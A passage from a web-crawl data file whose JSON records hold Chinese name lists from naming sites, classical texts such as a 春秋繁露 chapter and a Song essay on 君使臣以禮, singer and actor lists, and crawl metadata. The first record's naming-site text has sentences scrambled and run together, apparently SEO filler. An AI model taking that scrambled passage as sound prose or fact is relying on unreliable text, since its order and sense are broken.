季鉴广 季培钰 季昀书 季菡韵 季生木 季翼清 季蓠 季韵颜 季宗峰 季守力 季培城 季炳洲 季映空 季琼慧 季靖福 季惊鸿 季包子 季善波 季炜哲 季咏烨 季挺可 季慰寒 季耀仪 季国祯 季善俞 季明聪 季尹铭 季清丝 季志帆 季培德 季宇徉 季涵熠 季冰翎 季官渔 季天凯 季闻辉 季竣濠 季一馨 季夕杭 季世平 季纹山 季祖欣 季立君 季俊研 季敬邦 季皓嘉 季航宇 季渝南 季鸿浚 季椅子 季必成 季决积 季应声 季珍新 季清眉 季井春 季彦淇 季灵舆 季子棋 季智淞 季灏晓 季友朋 季长次 季涵淞 季卓宝 季洁粤 季乙唯 季传儒 季卓易 季译宁 季濠阳 季馥杨 季和刖 季平康 季云议 季网游 季海千 季佳前 季倬铮 季悻 季洪旺 季见求 季治淞 季嫒霖 季家琦 季弋善 季见丘 季无忧 季泽菡 季二义 季霄珂 季汐雯 季存法 季尚仪 季沁涵 季跃明 季赛娇 季官珍 季本荣 季滔滔 季众毅 季雁然 季柯然 季艾妮 季礼欣 季羽翎 季胥泓 季俪雯 季节东 季依庆 季天绘 季健昊 季泓晔 季妮婉 季展嘉 季闳巍 季焕权 季建违 季均升 季水楼 季德泰 季钟俪 季涣缨 季小旺 季俊煌 季栩潼 季罗欣 季荣龙 季湘荷 季虹雯 季娴睿 季凯甜 季倬尚 季灵俊 季皓业 季垣宇 季顺河 季兴骁 季值萱 季华苑 季玮涔 季淋泷 季泓智 季文克 季微荃 季圣玮 季正昱 季校峥 季信达 季艺恺 季岷辛 季颖诗 季展飞 季慧钰 季工海 季方菲 季丰学 季福旺 季棕含 季秋淡 季召绮 季洪坪 季颢源 季义淋 季纪瑞 季东成 季弋智 季敬睿 季观丁 季世静 季与阳 季士春 季晓富 季芷瑰 季永祖 季丁蛮 季沁敏 季兰纱 季瑞石 季四平 季虹华 季唐源 季玮浩 季耘潇 季浩集 季金莱 季贺春 季红茗 季喜诚 季修满 季欣辰 季冠哲 季海好 季颖彬 季益雯 季敬午 季灵伟 季琛焱 季轩荣 季琼凤 季和义 季明力 季童林 季唐一 季衍宇 季雨洹 季岳权 季天竣 季洪喜 季邦元 季传鑫 季瓷瓷 季海朗 季丁李 季晨灏 季荣根 季洪方 季孜谦 季先喻 季绍伯 季中淼 季嘉贺 季敏霖 季路洋 季彬景 季已民 季勋凌 季庵芝 季羽睿 季临君 季子脉 季一苹 季春容 季亮成 季智翰 季非含 季信诚 季木铉 季骏霖 季浩庭 季逸娴 季汀葭 季启颜 季春湖 季昶升 季轩磊 季古旷 季百禾 季入洛 季笑菲 季嘉娉 季子璺 季小富 季新茂 季焯儿 季占哲 季雪卓 季玮艺 季龙朋 季国挺 季思亭 季润启 季宁彬 季狐狸 季浩磔 季煌喜 季凤珍 季棋洱 季霏儿 季王集 季荣晔 季宇薇 季圣华 季小满 季责恺 季可导 季宜卓 季峥芮 季俣佟 季贤宇 季清漾 季熙浦 季肇杰 季登旺 季如越 季岳南 季颜顺 季贵宣 季淑姝 季祯博 季弗 季予夷 季雨青 季立永 季淇宇 季琚 季伊新 季照元 季佟雨 季童杰 季允熙 季振环 季长兴 季仲伟 季学浩 季计宏 季嘉春 季伟清 季亭萱 季德本 季欣妮 季芷澧 季进福 季选清 季夕彤 季华灵 季光瀚 季计洋 季志心 季琛博 季洪谷 季长磊 季琅苏 季子宸 季旗姿 季宇歆 季孜宏 季丞牟 季秒灿 季金锋 季智珠 季兢霖 季雅姿 季学标 季翡翠 季少影 季鑫豪 季全岭 季升洋 季申宝 季玉雯 季汉桥 季少均 季菲容 季译曼 季筌有 季狗娃 季昭明 季药儿 季季波 季云烟 季涵峰 季绎光 季淼松 季吉阳 季棱萱 季鑫菡 季昭羲 季彦昕 季热乎 季庚山 季城鑫 季铮贞 季乃田 季礼明 季仔仔 季世烊 季祝淼 季五天 季逸唯 季月珍 季瀚喻 季淑恩 季火政 季格涛 季杨骏 季瑷馍 季张睦 季昕喻 季衬鑫 季晓影 季晗烟 季莺莺 季九海 季干辰 季舒耀 季新舟 季达凯 季盛一 季诗旅 季羽荷 季畅洪 季玉杭 季卫光 季锐俊 季韵涛 季御颢 季中润 季忝晨 季上皓 季奇蕙 季光禄 季秋炎 季净雨 季力华 季俐儿 季旭克 季楚原 季薇晴 季力焓 季岩宇 季咏蕊 季吉庆 季礼兰 季照全 季俊修 季泳恋 季碧珂 季锦鸣 季向峰 季一容 季职衷 季小书 季昶丞 季双天 季睿月 季甬军 季力铧 季地星 季信先 季一搏 季震宙 季觉民 季勤涵 季炬甫 季御钰 季晶鼠 季民工 季淼锐 季辰航 季胜瑜 季莲郁 季漆帆 季轩翎 季树赢 季嵛睿 季辰源 季建永 季易恒 季津弘 季锫恒 季祝祝 季峻垒 季雨锦 季磊山 季镜祯 季力学 季圣元 季冬连 季玉呈 季海荔 季万科 季天茜 季惠洋 季恩凤 季瑜晋 季子洽 季始谷 季鹏圆 季维峻 季哲煦 季霖泽 季一格 季逸珉 季若妮 季灵词季氏到2009年1月为止,季芹羽 季奕匡 季思累 季浩梵 季义瑾 季小零 季祺铮 季河生 季贤胜 季洪发 季浩羽 季兴雯 季飞骊 季向懋 季层 季生金 季润希 季荔岭 季鸿天 季锴歌 季西知 季仪薇 季同艺 季丹尼 季施多 季伟彬 季长申 季臻贤 季早立 季风琪 季海杰 季橹屹 季轩慕 季鉴博 季人容 季波帆 季霁恩 季丞日 季榛 季战安 季寄青 季圣荣 季谷财 季甫新 季极远 季彦杉 季荔淋 季荣棕 季春雁 季锋铁 季鹄鸣 季习知 季明益 季月洋 季潇喻 季兰超 季军均 季沂水 季鹏承 季黎炫 季兆石 季琪薇 季则璇 季斐啡 季润函 季玉清 季熙灵 季圆睿 季逸言 季吉魁 季讵 季晏翔 季灵家 季诩生 季意挺 季洇怀 季会心 季筱睿 季茜芸 季森明 季薛洋 季功瑜 季峻忠 季飞舞希望对大家有所帮助。人口约二百零八万余,上古时期有季仲和季狸,而到了商朝末期周文王之父季历则肯定是表示兄弟排序。在中国姓氏排行第一百一十六位的姓氏,季氏来源十分繁杂,季姓男孩怎么起名?下面小编带来季姓男孩取名霸气,占中国人口的0.13%。","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.immobili360.com\/nanhaiqiming\/888.html","date":"2019-12-10T13:10:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540527620.19\/warc\/CC-MAIN-20191210123634-20191210151634-00285.warc.gz","language":"lzh","language_score":0.9454253912,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9454253911972046, \"nan_Hani_score\": 0.04067961871623993, \"cmn_Hani_score\": 0.013157048262655735}","num_words":847,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.947,"perplexity_score":500.0,"cluster_detection":1} +{"text":"作者:\n李白 白居易 杜甫 苏轼 辛弃疾 李清照 王维 刘禹锡 纳兰性德 李商隐 杜牧 陆游 陶渊明 孟浩然 李煜 元稹 柳宗元 韩愈 王安石 欧阳修 岑参 贾岛 韦应物 曹操 柳永 温庭筠 李贺 刘长卿 王昌龄 曹植 张籍 孟郊 杨万里 诸葛亮 屈原 王勃 范仲淹 晏殊 晏几道 周邦彦 秦观 朱熹 高适 马致远 左丘明 黄庭坚 司马迁\n行路难·其一 金樽清酒斗十千,玉盘珍羞直万钱。(羞 通:馐;直 通:值)停杯投箸不能食,拔剑四顾心茫然。欲渡黄河冰塞川,将登太行雪满山。(雪满山 一作:雪暗天)闲来垂钓碧溪上,忽复乘舟梦日边。(碧...\n微信扫一扫,访问小程序","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/hqsly.tw\/index$&tag=95nVKW9sZk&tagLabel=%E5%8F%8B%E6%83%85.htm","date":"2020-01-28T04:19:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251773463.72\/warc\/CC-MAIN-20200128030221-20200128060221-00421.warc.gz","language":"lzh","language_score":0.8674308062,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.8674308061599731, \"cmn_Hani_score\": 0.08260305225849152, \"nan_Hani_score\": 0.03948754072189331}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.283,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.877,"perplexity_score":500.0,"cluster_detection":1} +{"text":"林於錦 校對提供\n董子春秋繁露卷第十四\n郊語第六十五 (錢云郊語一篇似當次四祭篇後此下五篇實一篇也)\n人之言:醞去煙,鴟羽去昧(原註一作眯),慈石取鐵,頸金取火, (醞去煙未詳頸金一作真金) 蠶珥絲於室,而絃絕于堂,禾實生於野而粟缺于倉,蕪荑生于燕,橘枳死于荊,此十物者,皆奇而可怪,非人所意也。夫非人所意而然,既已有之矣,或者吉凶禍福、利不利之所從生,無有奇怪,非人所意,如是者乎?此等可畏也。孔子曰:「君子有三畏:畏天命,畏大人,畏聖人之言。」彼豈無傷害於人,如孔子徒畏之哉!以此見天之不可不畏敬,猶主上之不可不謹事,不謹事主,其禍來至顯,不畏敬天,其殃來至闇。闇者不見其端,若自然也,故曰:堂堂如天殃。言不必立校,默而無聲,潛而無形也。由是觀之,天殃與主罰所以別者,闇與顯耳,不然其來逮人,殆無以異,孔子同之,俱言可畏也。天地神明之心,與人事成敗之真,固莫之能見也,唯聖人能見之,聖人者,見人之所不見者也,故聖人之言亦可畏也,奈何如廢郊禮?郊禮者,人所最甚重也,廢聖人所最甚重,而吉凶利害在於冥冥不可得見之中,雖已多受其病,何從知之!故曰:問聖人者,問其所為,而無問其所以為也,問其所以為,終弗能見,不如勿問,問為而為之,所不為而勿為,是與聖人同實也,何過之有!《詩》云:「不騫不忘,率由舊章。」舊章者,先聖人之故文章也,率由各,有修從之也,此言先聖人之故文章者,雖不能深見而詳知其則,猶不知其美譽之功矣。今郊事天之義,此聖人故。云云....","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/www.chineseclassic.com\/content\/1336","date":"2020-02-27T04:03:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146647.82\/warc\/CC-MAIN-20200227033058-20200227063058-00299.warc.gz","language":"lzh","language_score":0.4708241224,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.47082412242889404, \"cmn_Hani_score\": 0.4697513282299042, \"nan_Hani_score\": 0.029866337776184082, \"wuu_Hani_score\": 0.010682439431548119, \"jpn_Jpan_score\": 0.01021479070186615}","num_words":8,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.62,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n昌怡轩 昌凡玉 昌语嫣 昌爱玲 昌艳萍 昌竹芳 昌风芳 昌芬芳 昌永红 昌立文 昌洁 昌雪 昌亭芳 昌晓红 昌妍 昌卫红 昌柏文 昌博文 昌倩宇 昌静怡 昌嘉婷 昌春琴 昌春玉 昌春蓉 昌丽丽 昌丽 昌莉莉 昌莉 昌新悦 昌沁怡 昌欣怡 昌计红 昌永梅 昌渝文 昌媛靖 昌雅丽 昌星怡 昌丽娜 昌芯怡 昌怡 昌心怡 昌紫燕 昌春花 昌玉 昌红 昌素红 昌罗红 昌长红 昌霞 昌艳 昌莉华 昌海燕 昌艳红 昌燕 昌琳杰 昌琳智 昌琳舜 昌文 昌可玉 昌可怡 昌怡可 昌利红 昌庆琳 昌燕铃 昌燕玲 昌学文 昌伟萍 昌琴芳 昌莉丽 昌思美 昌悦达 昌美悦 昌尚美 昌佳美 昌玲 昌赞萍 昌萍 昌娱梅 昌雨美 昌宏娜 昌荷花 昌则琳 昌倩芳 昌娟珊 昌镁玲 昌渲颖 昌圣颖 昌渲悦 昌秋倩 昌媛媛 昌艳玲 昌爱梅 昌江萍 昌昭芬 昌安芬 昌琴 昌胜文 昌娉婷 昌云霞 昌文英 昌庆怡 昌国琼 昌占玲 昌一文 昌昕瑶 昌秀杉 昌丽芳 昌文红 昌运梅 昌寿玲 昌雪梅 昌光玉 昌志琼 昌建文 昌芬菲 昌妤嫣 昌庆红 昌旭霞 昌旭文 昌军红 昌筱婧 昌杰玉 昌文芳 昌怡宁 昌月霞 昌佩琳 昌丛艳 昌滢艳 昌红艳 昌滢美 昌桂芳 昌仲琳 昌明洁 昌笑萍 昌卓文 昌素琴 昌梅 昌琳 昌更红 昌晓丽 昌瑞洁 昌兰玉 昌云英 昌蓉 昌婷 昌熙婷 昌娟 昌边梅 昌芸婵 昌莹","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/qmzzz.cn\/show_A14.aspx","date":"2020-02-16T20:30:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875141396.22\/warc\/CC-MAIN-20200216182139-20200216212139-00147.warc.gz","language":"lzh","language_score":0.9411165714,"language_script":"Hani","minhash_cluster_size":10,"top_langs":"{\"lzh_Hani_score\": 0.9411165714263916, \"cmn_Hani_score\": 0.03545136749744415, \"nan_Hani_score\": 0.018927643075585365}","num_words":151,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.941,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓王的男歌手都有哪些?谁能告诉我????\n王柏森 王宝强 王传一 王凡瑞 王富华 王光良 王浩信 王宏恩 王琥 王嘉明 王建复 王建杰 王杰 王介安 王珏 王俊杰 王凯骏 王凯平 王昆 王磊 王力宏 王栎鑫 王洛宾 王梦麟 王明哲王品 王启文 王强 王仁甫 王仁宏 王睿 王少舫 王绍伟\n求歌手名字,姓王的就行。\n王菲 王力宏 王心凌 王杰 王若琳 王子 王蓉 王栎鑫 王健 王强 王筝 王心如王啸坤 王鹤铮 王羽泽 王菀之 王冰洋 王宝强 王识贤 王子鸣 王恩琦 王键王宏伟 王绎龙 王铮亮 王蓝茵 王志文 王雅洁 王娅 王程明 王思思 王建树 王麟王子变青蛙 王馨平 王菲菲 王婧 王传一 王睿 王袁 王羚柔 王中平 王懿 王丽达 王祖蓝 王晶 王滨 王媞 王磊 王雪 王瑞霞 王绍珏 王欣如 王祖贤 王珏 王传君 王心雅 王启文 王宏恩 王喜 王珺 王一冰 王宝 王凡瑞 王征 王浩信 王琥 王建杰 王梓宏 王玉珍 王海玲 王非非 王勇 王俞匀 王宇鹏 王喆 王介安 王秀琳 王若琪 王焱 王梓 王迪 王嘉明 王娟 王洁实 谢丽斯 王凯骏 王芷蕾 王雪娥 王梓旭 王建复 王昭华 王钧王君 王雁盟 王宝与正午阳光 王友良 王美莲 王俊杰 王湘桦 王柏森 王逍 王烨 王韵婵 王森 王国之心 王静莹 王绍博 王苑君 王赞 王淑茜 王双妍 王量 王梓轩 王潇龙 王欣 王壮 王晰 王威胜 王明丽 王女自鸣鼓 王俊雄\/周志宏 王晓楠 王秋金 王鑫淼 王双研 王雅文 王煊儿 王益 王牌大贱谍3原声 王仁宏 王抒俊 王榆钧 王珺&冯杰 王雨迪 王富华 王沧津 王彰骏 王亚健\n找一个姓王的男歌手\n男的女的姓王的艺人就这些 你看象哪个?王媞 王旻 王珺 王瓈慧 王柏森 王宝强 王斌 王冰洋 王传一 王大文 王恩琦 王菲 王菲菲 王飞鸿 王富华 王冠 王光良 王海玲 王浩信 王宏恩 王宏伟 王惠 王嘉明 王家顺 王键 王建房 王建复 王建杰 王杰 王洁实 王介安 王进 王娟 王开城 王凯骏 王蓝茵 王磊 王丽达 王利滨 王力宏 王量 王美莲 王品 王启文 王强 王仁宏 王蓉 王瑞霞 王锐 王若然 王少峰 王诗文 王识贤 王思思 王童语 王威 王喜 王晓晓 王啸坤 王笑文 王欣如 王新莲 王心凌 王心雅 王秀琳 王雪 王雪娥 王雅洁 王炎 王雁盟 王耀光 王一冰 王翼 王绎龙 王勇 王友良 王渝 王雨 王宇鹏 王羽泽 王袁 王苑君 王韵婵 王赞 王昭华 王振宇 王志 王志文 王中平 王壮 王子鸣 王祖蓝 王馨平 王芷蕾 王菀之 王妍 王婧 王缇 王珏 王琥 王栎鑫 王梓 王梓宏 王橹窗 王铮亮 王筝 王雯 王麟\n姓王的男歌手唱的比较老的网络歌曲\n为爱伤心为你痛-张克帆 失去你才知道-任军太 两个人的世界一个人睡-沈世爱 其实还有很多,时间原因,暂时整理出这几首,希望楼主喜欢并采纳,谢谢!\n这个男童星叫什么名字,姓王是个歌手?\n知道叫什么名字,但是长得很可爱也很有气质。很讨人喜欢,但是每个人的眼光不同,欣赏的角度方式不同。喜欢的类型方式不同,所以说这是代表我的个人意见。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/www.jinzhiddm.com\/lsjd\/arc16311.html","date":"2020-03-31T11:04:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370500426.22\/warc\/CC-MAIN-20200331084941-20200331114941-00290.warc.gz","language":"lzh","language_score":0.9390443563,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.9390443563461304, \"nan_Hani_score\": 0.03054962493479252, \"cmn_Hani_score\": 0.030412811785936356}","num_words":286,"character_repetition_ratio":0.012,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.945,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n樊锦霞 樊玲伶 樊均萍 樊仁燕 樊蕴颖 樊超颖 樊卓颖 樊博颖 樊丽瑛 樊犁花 樊国丽 樊惠婧 樊辉婧 樊蕙婧 樊惠玲 樊译文 樊佑梅 樊燕玲 樊奕琳 樊予琳 樊御琳 樊兴莹 樊文燕 樊华琴 樊勇霞 樊映冉 樊榕蓉 樊琳瑶 樊井丽 樊玲玉 樊海媛 樊怡钊 樊怡锦 樊信婷 樊丽琴 樊希美 樊莉鑫 樊伊花 樊长莹 樊宜婷 樊培霞 樊平文 樊桂艳 樊士文 樊怡聪 樊怡铭 樊路英 樊家瑛 樊凇娜 樊雪瑶 樊杰英 樊启梅 樊福琼 樊冬萍 樊代芳 樊卫艳 樊思玉 樊怡鸽 樊怡歌 樊莹婕 樊俊瑶 樊广萍 樊革玉 樊香蓉 樊琳渊 樊景花 樊近颖 樊柯洁 樊晓雪 樊映丽 樊茂玉 樊杏燕 樊学丽 樊蓓芬 樊燕姿 樊雅美 樊燕瑶 樊娅滢 樊淇文 樊世玲 樊粉琼 樊怡苗 樊怡姿 樊晓怡 樊金怡 樊刘美 樊紫婷 樊黔蓉 樊靖娟 樊蕴瑶 樊凯琳 樊宗芳 樊昭琳 樊齐英 樊欣茹 樊瑞悦 樊泡妞 樊怡锋 樊洁芳 樊西玲 樊佳莹 樊瑞文 樊德霞 樊怡昕 樊翰琳 樊蓉耀 樊蓓芳 樊如婧 樊秀娟 樊继花 樊惠英 樊子婵 樊怡馨 樊海文 樊清霞 樊倩荣 樊洁蓉 樊倩榕 樊宸雪 樊兆雪 樊睿雪 樊蕊雪 樊兆霞 樊玉文 樊婕婷 樊思瑛 樊思洁 樊悦兮 樊庆美 樊耀琳 樊蕴蓉 樊倩钰 樊倩玉 樊琳毓 樊玲毓 樊幼茹 樊茹瑜 樊茹毓 樊郑莹 樊倩汶 樊倩群 樊群瑶 樊群燕 樊群芬 樊家莹 樊张燕 樊庭芳 樊亭芳 樊沛玲 樊庭玉 樊涛文 樊光婵 樊荟茹 樊倩悦 樊巧英 樊奕婧 樊君玲 樊怡乐 樊妍铄 樊纾琳 樊秀涵 樊舟英 樊紫婵 樊志娜 樊治娜 樊婧优 樊佳玲 樊灵娜 樊子玲 樊妹 樊樱梅 樊怡家 樊惠莹 樊慧莹 樊祝红 樊雪文 樊佳燕 樊雅婷 樊凤艳 樊卉妍 樊蕴艳 樊碧琴 樊培红 樊煜颖 樊勇英 樊雨娟 樊书萍 樊改霞 樊怡如 樊银花 樊媛伊 樊靓颖 樊靓莉 樊瑞娜 樊成霞 樊淞文 樊殊瑶 樊纾瑶 樊鑫冉 樊柔妍 樊耀芳 樊新萍 樊洪美 樊宛莹 樊俐娜 樊俪娜 樊漓娜 樊砾娜 樊梨娜 樊李娜 樊理娜 樊立娜 樊历娜 樊吏娜 樊荔娜 樊栗娜 樊逦娜 樊黎娜 樊高丽 樊心茹 樊亭茹 樊迅婷 樊改萍 樊玮婷 樊梓婷 樊爱丽 樊雅倩 樊妍秀 樊妍彤 樊赢丽 樊玲瑶 樊可颖 樊欣玲 樊朵霞 樊庆琳 樊隆萍 樊柏娟 樊海娟 樊诗悦 樊永芳 樊佳雪 樊巧丽 樊莉君 樊冰瑶 樊桂英 樊一琳 樊自艳 樊潇娜 樊德怡 樊秀琴 樊友红 樊文红 樊喜艳 樊亦颖 樊奕文 樊慕雪 樊茂蓉 樊楷怡 樊春雪 樊铎琼 樊如芳 樊晨红 樊嘉丽 樊广燕 樊婧然 樊希文 樊洁丽 樊世琼 樊京琼 樊秋梅 樊佰花 樊百花 樊素花 樊悦春 樊怡燃 樊怡冉 樊冀蓉 樊王芳 樊卓琳 樊卓娅 樊淑芬 樊琳玮 樊礼梅 樊琳文 樊琳琅 樊福美 樊君怡 樊玲江 樊智娟 樊覃琼 樊覃艳 樊覃洁 樊覃蓉 樊曾萍 樊怡朋 樊籽瑛 樊籽英 樊瑛芷 樊姊瑛 樊子瑛","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/www.j681.cn\/show_1E3.aspx","date":"2020-04-03T10:39:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370510846.12\/warc\/CC-MAIN-20200403092656-20200403122656-00264.warc.gz","language":"lzh","language_score":0.6564408541,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.6564408540725708, \"und_Kits_score\": 0.10612882673740387, \"nan_Hani_score\": 0.06965634226799011, \"cmn_Hani_score\": 0.0589027963578701, \"jpn_Jpan_score\": 0.028168613091111183, \"wuu_Hani_score\": 0.023359544575214386, \"yue_Hani_score\": 0.021777845919132233}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.657,"perplexity_score":500.0,"cluster_detection":1} +{"text":"跳到主文\n部落格全站分類:社團組織\n子曰:弟子入則孝 出則弟 謹而信 泛愛眾 而親仁 行有餘力 則以學文\n弟子規 聖人訓 首孝弟次謹信 汎愛眾 而親仁有餘力 則學文\n曾子曰:為人謀而不忠乎?\n與朋友交而不信乎?\n傳不習乎?\nboktakhk 發表在 痞客邦 留言(0) 人氣()","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/boktakhk.pixnet.net\/blog\/category\/1463459","date":"2020-07-08T12:35:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655896932.38\/warc\/CC-MAIN-20200708093606-20200708123606-00213.warc.gz","language":"lzh","language_score":0.8931130767,"language_script":"Hani","minhash_cluster_size":11,"top_langs":"{\"lzh_Hani_score\": 0.8931130766868591, \"cmn_Hani_score\": 0.07110822200775146, \"yue_Hani_score\": 0.023190908133983612, \"nan_Hani_score\": 0.010014615952968597}","num_words":23,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.922,"perplexity_score":500.0,"cluster_detection":1} +{"text":"君使臣以禮\n君以利使臣,則其臣皆小人也。幸而得其人,亦不過健於才而薄於德者也。君以禮使臣,則其臣皆君子也。不幸而非其人,猶不失廉恥之士也。其臣皆君子,則事治而民安。士有廉恥,則臨難不失其守。小人反是。故先王謹於禮。禮以欽為主,宜若近於弱,然而服暴者,莫若禮也。禮以文為飾,宜若近於偽;然而得情者,莫若禮也。哀公問君使臣臣事君如之何?孔子曰:「君使臣以禮,臣事君以忠。」不有爵祿刑罰也乎,何為其專以禮使臣也!以爵祿而至者,貪利之人也,利盡則逝矣。以刑罰而用者,畏威之人也,威之所不及,則解矣。故莫若以禮。禮者,君臣之大義也,無時而已也。漢高祖以神武取天下,其得人可謂至矣。然恣慢而侮人,洗足箕踞,溺冠跨項,可謂無禮矣。故陳平論其臣,皆嗜利無恥者,以是進取可也,至於守成,則殆矣。高帝晚節不用叔孫通、陸賈,其禍豈可勝言哉。呂后之世,平、勃背約,而王諸呂幾危劉氏,以廉恥不足故也。武帝踞廁而見衛青,不冠不見汲黯。青雖富貴,不改奴僕之姿,而黯社稷臣也,武帝能禮之而不能用,可以太息矣。\n|本北宋作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/zh.wikisource.org\/wiki\/%E5%90%9B%E4%BD%BF%E8%87%A3%E4%BB%A5%E7%A6%AE","date":"2020-07-15T12:59:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657167808.91\/warc\/CC-MAIN-20200715101742-20200715131742-00457.warc.gz","language":"lzh","language_score":0.4969363511,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.4969363510608673, \"cmn_Hani_score\": 0.42190563678741455, \"wuu_Hani_score\": 0.04003303870558739, \"nan_Hani_score\": 0.013231338001787663}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.487,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n黃智雯 袁偉豪 陳智燊 黃淑儀 孫慧雪 郭子豪 林秀怡 林景程 周梓盈 鍾志光 利穎怡 周志康 李國麟 梁舜燕 蘇恩磁 張明偉 郭田葰 魯振順 曾偉權 徐玟晴 譚坤倫 趙永洪 袁鎮業 關浩揚 周麗欣 李璧琦 郭千瑜 許家傑 張漢斌 曾慧雲 蕭徽勇 吳偉豪 曹思詩 招浩明 蘇麗明 陳建文 梁證嘉 王致迪 鄭恕峯 李日升 譚永浩 董敬文 張智軒 陳靖雲 蕭凱欣 廖麗麗 潘冠霖 沈愛琳 何佩珉 馮秀華 馬蹄露 布偉傑\n田蕊妮 曹永廉 李思捷 李國麟 韋家雄 林凱恩 李綺雯 羅天宇 林師傑 餘思霆 林宣妤 尹詩沛 徐玟晴 李君妍 白雲 梁芷珮 陳俊堅 王致迪 丘梓謙 丁樂鍶 曹思詩 麥皓兒 黃雪兒 蓋世寶 馮素波 胡楓 李楓 李霖恩 易智遠 張漢斌 梁珈詠 陳偉洪 何佩珉 董敬文 周志康 陳靖雲 劉宸熙 袁文傑 梁茵 劉天龍 陳榮峻 盧峻峯 吳沚默 陳嘉嘉 王樹熹 區明妙\n洪永城 黃心穎 湯洛雯 謝東閔 鄭子誠 潘志文 郭少芸 張慧儀 劉思希 於洋 陳婉婷 黎振燁 張美妮 馮素波 莊思明 王子涵 李霖恩 何豔娟 白雲 曾敏 吳珮如 周梓盈 陳靖雲 譚偉權 秦啓維 張漢斌 衛志豪 鄭詠謙 李海生 林敬剛 趙樂賢 楊證樺 曾健明 司徒暉 陳榮峻 盧峻峯 易智遠 方紹聰 謝可逸 黃耀煌 蕭凱欣 梁雯蔚 鄧英敏 黃建東 鄭恕峯 莫家淦 曾琬莎 李忠希 關浩揚\n袁偉豪 唐詩詠 朱晨麗 胡鴻鈞 黃祥興 賴慰玲 林子善 張彥博 趙希洛 黃子雄 郭子豪 王歌慧 張國強 煒烈 鄭敬基 範文雅 沈可欣 顧冠忠 祝文君 李日升 方紹聰 李啓傑 邵卓堯 許家傑 關浩揚 衛志豪 鄭家生 姚浩政 莫家淦 尹詩沛 楊家寶 楊潮凱 崔錦棠 秦啓維 李楓 林淑敏 朱斐斐 曹思詩 林希靈 潘梓鋒 謝芷倫 黃愷怡 餘應彤 李海生 陳勉良 彭紀諺 容羨媛 周麗欣 丘梓謙 李漫芬 劉溫馨 陳婉衡 陳靖雲 沈愛琳 莫偉文 徐玟晴 周梓盈 關偉倫 趙樂賢 繆家慶 招浩明 余子明 楊證樺 魏惠文 鄧\n何廣沛 朱晨麗 龔嘉欣 江嘉敏 吳業坤 黃嘉樂 吳岱融 龔慈恩 楊卓娜 袁文傑 於淼 李國麟 王綺琴 韋家雄 鄭子誠 車婉婉 陳嘉輝 郭少芸 徐榮 樊亦敏 古明華 張國強 李日升 吳卓衡 阮政峯 李綺雯 郭千瑜 陳婉婷 丁樂鍶 衛志豪 蘇恩磁 陳榮峻 戴耀明 張智軒 吳展驊 方紹聰 伍禮騫 黃耀煌 煒烈 林敬剛 李岡龍 甄詠珊 劉天龍 康華 傅嘉莉 張達倫 謝芷倫 易宇航 莊思明 顏仟汶 曾健明 周麗欣 張漢斌 李麗麗 簡家麒 梁珈詠 陳靖雲 李嘉晉 易智遠 